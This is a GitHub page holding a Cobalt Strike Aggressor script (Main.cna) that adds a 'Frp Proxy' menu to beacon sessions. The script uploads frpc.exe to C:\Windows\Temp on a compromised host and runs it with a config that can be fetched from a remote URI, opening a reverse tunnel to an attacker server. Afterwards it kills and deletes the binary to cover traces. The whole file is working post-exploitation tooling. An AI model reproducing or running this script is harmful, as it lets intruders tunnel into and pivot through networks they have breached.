forked from mstxq17/FrpProPlugin
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMain.cna
42 lines (40 loc) · 1.38 KB
/
Main.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
popup beacon_bottom {
menu "Frp Proxy"{
item "Upload" {
$bid = $1;
$dialog = dialog("Upload frpc", %(UploadPath => "C:\\Windows\\Temp\\", bid => $bid), &upload);
drow_text($dialog, "UploadPath", "path: ");
dbutton_action($dialog, "ok");
dialog_show($dialog);
}
sub upload {
# switch to specify path
bcd($bid, $3['UploadPath']);
bsleep($bid, 0 ,0);
if (-is64 $bid['id']) {
bupload($bid, script_resource("/script/x64/frpc.exe"));
}else{
bupload($bid, script_resource("/script/x86/frpc.exe"));
}
show_message("Executing cmmand!");
}
item "Run"{
$bid = $1;
$dialog = dialog("Run frpc", %(uri => "http://x.x.x.x/frpc.ini or c:\\frpc.ini", bid => $bid), &run);
drow_text($dialog, "uri", "configURI: ");
dbutton_action($dialog, "ok");
dialog_show($dialog);
}
sub run{
local('$Uri');
$Uri = $3['uri'];
bshell($bid, "frpc.exe -c $+ $Uri ");
show_message("Executing cmmand!");
bsleep($bid, 30, 0);
}
item "Delete" {
# local("bid");
bshell($1, "taskkill /f /t /im frpc.exe && del /f /s /q frpc.exe");
}
}
}